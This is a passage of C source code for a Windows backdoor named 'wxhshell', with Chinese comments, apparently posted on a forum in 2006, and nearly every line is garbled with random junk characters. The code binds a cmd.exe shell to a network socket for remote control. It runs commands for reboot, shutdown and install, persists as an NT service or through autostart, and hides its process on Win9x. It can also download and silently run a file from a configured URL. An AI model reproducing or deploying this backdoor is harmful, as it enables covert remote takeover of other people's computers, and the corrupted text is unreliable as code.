  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0'pB7^y  
  else ]7W!f 2@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DAWF =p]  
  } [[AO6.Z  
  else { CQ/+- -o  
l_:P |  
    switch(cmd[0]) { Nr>UZlU8  
  L{F]uz_[x  
  // 帮助 jwE=  
  case '?': { <Y}m/-sD5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zE$HHY2ovi  
    break; 1#_ pj eG  
  } FauASu,A  
  // 安装 s a o&  
  case 'i': { h>GbJ/^  
    if(Install()) T{+a48,;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `+\$  
    else 9Q s5e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bx|W#:3e  
    break; ,Owk;MV@  
    } OH2IO  
  // 卸载 BX[ IWP\%  
  case 'r': { PL$XXj>|:  
    if(Uninstall()) N}B&(dJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #9DJk,SP  
    else hui #<2{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n)q8y0if  
    break; 0:[A4S`X  
    } L QV@]z&  
  // 显示 wxhshell 所在路径 ]i`Q+q[  
  case 'p': { |U{~t<BF#  
    char svExeFile[MAX_PATH]; o<!H/PN  
    strcpy(svExeFile,"\n\r"); T2w4D !  
      strcat(svExeFile,ExeFile); t>}S@T{~T  
        send(wsh,svExeFile,strlen(svExeFile),0); zi6J|u  
    break; [}HPV+j=U  
    } wQy~5+LE  
  // 重启 ,%IP27bPW  
  case 'b': { dR\yRC]I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T]&?^QGAZ  
    if(Boot(REBOOT)) eUN aq&M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cK]n"6N[  
    else { >KrI}>!9r  
    closesocket(wsh); IW<rmP=R&  
    ExitThread(0); &M?b 08  
    } EEZ~Bs}d  
    break; lF/ Xs  
    } o}KVT%}  
  // 关机 w@,p`  
  case 'd': { ?B ,<gen  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #!O)-dyF  
    if(Boot(SHUTDOWN)) Jaw1bUP!oK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !|4]V}JQ  
    else { _dk[k@5W{'  
    closesocket(wsh); Pa d)|  
    ExitThread(0); vf.MSk?~ar  
    } 7"'PfP4c  
    break; A8mc+ Bf(  
    } >>KI_$V  
  // 获取shell )GG9[%H!  
  case 's': { xgIb6<qwY  
    CmdShell(wsh); aIa<,  
    closesocket(wsh); '1 2*'Q+{+  
    ExitThread(0); RDDA^U7y#  
    break; uNuFD|aQ.  
  } T=-UcF  
  // 退出 y-.{){uaD  
  case 'x': { M}11 tUl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *> nOL  
    CloseIt(wsh); bskoi;)u  
    break; p#P<V%  
    } QjSWl,{ $D  
  // 离开 P<&bAsje  
  case 'q': { FNLS=4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3h.,7,T  
    closesocket(wsh); eJ45:]_%I@  
    WSACleanup(); N(4y}-w$  
    exit(1); }gX hN"  
    break; JGvhw,g  
        } wMCg`rk  
  } BSHS)_xs  
  } #p*uk  
L)U*dY   
  // 提示信息 ER9{D$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BrSvkce  
} C=&n1/  
  } NYHK>u/5c  
P A ZjA0d  
  return; Ip7#${f5M  
} .E^w, o  
80Hi v  
// shell模块句柄 8~Zw"  
int CmdShell(SOCKET sock) %JSRC<,a  
{ (SW6?5  
STARTUPINFO si; +i!HMyM  
ZeroMemory(&si,sizeof(si)); Gu$J;bXVj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M.y!J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %"(HjanH  
PROCESS_INFORMATION ProcessInfo; iupkb  
char cmdline[]="cmd"; MQw}R7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {~9HJDcM  
  return 0; e{87n>+,  
} [8Y7Q5Had  
|Y}YhUI&  
// 自身启动模式 lFtEQ '}  
int StartFromService(void) <FBH;}]  
{ Fl($0}ER  
typedef struct Iv 3O8 GU  
{ QpQ2hNf  
  DWORD ExitStatus; ~xY"P)(x;  
  DWORD PebBaseAddress; ZJWpb  
  DWORD AffinityMask; &'k(v(>n,  
  DWORD BasePriority; B6&[_cht  
  ULONG UniqueProcessId; C@ q#s  
  ULONG InheritedFromUniqueProcessId; [N~7PNdS  
}   PROCESS_BASIC_INFORMATION; en{p<]H  
bs\k b-\R  
PROCNTQSIP NtQueryInformationProcess; bK#ZY  
n[!QrEeR},  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4t =Kt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pf4zjc  
v4Ag~Evcx  
  HANDLE             hProcess; {:"<E?+  
  PROCESS_BASIC_INFORMATION pbi; vzfMME17  
25`W"x_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \i,H1a  
  if(NULL == hInst ) return 0; GFPrK9T  
q['D?)sy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,_(=w.F   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~cp=B>*(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3 xW:"  
T'7>4MT(  
  if (!NtQueryInformationProcess) return 0; \9p.I?=  
[I%e Ro[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W^^0Rh_  
  if(!hProcess) return 0; g,WTXRy  
X1P1 $RdkR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4.,|vtp  
^kcuRJ0*$  
  CloseHandle(hProcess); 3 $%#n*  
w)S 4Xi=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lct_6?  
if(hProcess==NULL) return 0; FLQke"6i0:  
j}Svb1A  
HMODULE hMod; Ji,;ri2i  
char procName[255]; :kI[Pf!z  
unsigned long cbNeeded; X4:84  
jbe:"S tw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P]^8Enp  
B0yGr\KJ  
  CloseHandle(hProcess); . mO8 ~Z  
}O crA/  
if(strstr(procName,"services")) return 1; // 以服务启动 Q?j '4  
0&NM=~  
  return 0; // 注册表启动 R?lTB3"  
} l[5** ?#  
R&t2   
// 主模块 <75x@!  
int StartWxhshell(LPSTR lpCmdLine) u y"i3xD6-  
{ NMw5ixl  
  SOCKET wsl; c %Y *XJ'  
BOOL val=TRUE; @6DKw;Q  
  int port=0; 4Yok,<  
  struct sockaddr_in door; dbEXl m  
-}T7F+  
  if(wscfg.ws_autoins) Install(); J| &aqY  
-,/6 Wn'j  
port=atoi(lpCmdLine); # {k$Fk  
@(=?x:j  
if(port<=0) port=wscfg.ws_port; qOpwl*?x+  
tOnOzD  
  WSADATA data; /KnIU|;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )ZLj2H<  
g$)0E<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _+)OL-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?$A)lWk(  
  door.sin_family = AF_INET; 9({ 9r[U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @~$=96^  
  door.sin_port = htons(port); KMb'm+  
;dZZOocV1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7mi=Xa:U  
closesocket(wsl); -u~:Gd*l0  
return 1; ?S=y>b9R  
} dmkGIg}  
k "7,-0gz  
  if(listen(wsl,2) == INVALID_SOCKET) { d/oD]aAEr  
closesocket(wsl); h8.(Q`tli  
return 1; 0 nI*9  
} dQH8s  
  Wxhshell(wsl); {7IZN< e  
  WSACleanup(); {be|G^.c  
\hlS?uD\  
return 0; TGG=9a]m  
mg70%=qM0f  
} j4@6`[n:  
|iSwG=&  
// 以NT服务方式启动 2XBHo (  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BH}rg,]G  
{ \C;Yn6PK0  
DWORD   status = 0; L*Ffic  
  DWORD   specificError = 0xfffffff; >W/mRv&  
z/5TYv)S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *pS3xit~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %y>*9$<pXe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'dQGb-<_<  
  serviceStatus.dwWin32ExitCode     = 0; $i8oLSRV  
  serviceStatus.dwServiceSpecificExitCode = 0; It3@ Cd>  
  serviceStatus.dwCheckPoint       = 0; d\A7}_r*x  
  serviceStatus.dwWaitHint       = 0; 8EiS\$O-  
P%[ { 'u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VWXyN  
  if (hServiceStatusHandle==0) return; gQhYM7NP{5  
C)qG<PW.!  
status = GetLastError(); 60|m3|0o  
  if (status!=NO_ERROR) ^N ;TCn  
{ th"Aatmp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kp?_ir  
    serviceStatus.dwCheckPoint       = 0; o"N\l{#s  
    serviceStatus.dwWaitHint       = 0; Ek06=2i  
    serviceStatus.dwWin32ExitCode     = status; +m}D.u*cp  
    serviceStatus.dwServiceSpecificExitCode = specificError; g rQ,J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rdj3dg'<  
    return; J +Y?'"r  
  } Bq4@I_b  
.Q</0*sp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I A=\c  
  serviceStatus.dwCheckPoint       = 0; ]U4C2}u  
  serviceStatus.dwWaitHint       = 0; p*zTuB~e<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @1k-h;`,  
} tnb'\}Vn  
E7SmiD@)  
// 处理NT服务事件,比如:启动、停止 6]!Jo)BF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N^[MeG,8  
{ 5P);t9O6  
switch(fdwControl) vls+E o]  
{ b\NY!)B  
case SERVICE_CONTROL_STOP: bWCtRli}  
  serviceStatus.dwWin32ExitCode = 0; 'UCClj;?K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j6*e^ B  
  serviceStatus.dwCheckPoint   = 0; {c $8?6  
  serviceStatus.dwWaitHint     = 0; *m&'6qsS  
  { qvh8~[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M6Ik'r"M  
  } |D;I>O^"R  
  return; :9>U+)%  
case SERVICE_CONTROL_PAUSE: Oeg^%Y   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .nA9irc  
  break; ZS&+<kGD  
case SERVICE_CONTROL_CONTINUE: .q 4FGPWz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =':SOO7  
  break; j->5%y  
case SERVICE_CONTROL_INTERROGATE: 2R3)/bz-SV  
  break; ncR]@8  
}; Q`=d5Uvw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \$,;@H5I^  
} k_OzkEM9!  
K9RRY,JB  
// 标准应用程序主函数 )DQcf]I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A(C0/|#V  
{ +I.{y  
JVx-4?  
// 获取操作系统版本 _4lKd`  
OsIsNt=GetOsVer(); 1q*=4O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D|C!KF (  
+=kz".$  
  // 从命令行安装 2-#&ktM%V  
  if(strpbrk(lpCmdLine,"iI")) Install(); pe\]}&  
F'@[ b   
  // 下载执行文件 }f6_ 7W%5  
if(wscfg.ws_downexe) { *@ S+J$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I<&) P#"  
  WinExec(wscfg.ws_filenam,SW_HIDE); y 5Kr<cF^  
} vF{{$)c  
KW36nY\7  
if(!OsIsNt) { ph7]*W-  
// 如果时win9x,隐藏进程并且设置为注册表启动 r;zG  
HideProc(); vWYU'_=  
StartWxhshell(lpCmdLine); ^{O1+7d[.  
} _6sSS\  
else V$  MMK  
  if(StartFromService()) lxLEYDGFS  
  // 以服务方式启动 R{Me~L?  
  StartServiceCtrlDispatcher(DispatchTable); ML1/1GK*i+  
else <)oW  
  // 普通方式启动 m8* )@e  
  StartWxhshell(lpCmdLine); N<HJ}geC "  
Pfg.'Bl  
return 0; U ,\t2z  
}
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只看该作者 1 发表于: 2006-10-10
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